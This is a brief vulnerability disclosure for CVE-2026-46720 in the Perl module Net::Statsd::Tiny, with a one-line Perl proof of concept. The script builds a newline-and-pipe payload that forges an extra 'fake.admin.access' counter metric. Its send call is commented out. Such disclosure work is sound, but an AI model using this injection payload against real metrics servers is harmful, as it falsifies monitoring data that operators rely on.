CVE-2026-46720 Net::Statsd::Tiny指标注入漏洞

#!/usr/bin/perl use strict; use warnings; # This PoC demonstrates how untrusted input can inject metrics. # It requires a vulnerable version of Net::Statsd::Tiny (< 0.3.8) # Simulating the vulnerable library usage scenario my $metric_name = $ARGV[0] || 'legit.metric'; my $metric_value = 100; # Malicious payload containing newline and pipe to inject a fake metric # Payload structure: [Real Metric]\n[Fake Metric Name]:[Fake Value]|[Fake Type] my $malicious_payload = "legit.requests\nfake.admin.access:1|c"; print "[+] Sending payload: $malicious_payload\n"; # In a vulnerable application, this might be passed directly to the statsd client: # my $statsd = Net::Statsd::Tiny->new( host => '127.0.0.1', port => 8125 ); # $statsd->increment($malicious_payload); print "[+] If the server parses this, it will record two metrics:\n"; print " 1. legit.requests (increment)\n"; print " 2. fake.admin.access:1 (counter)\n";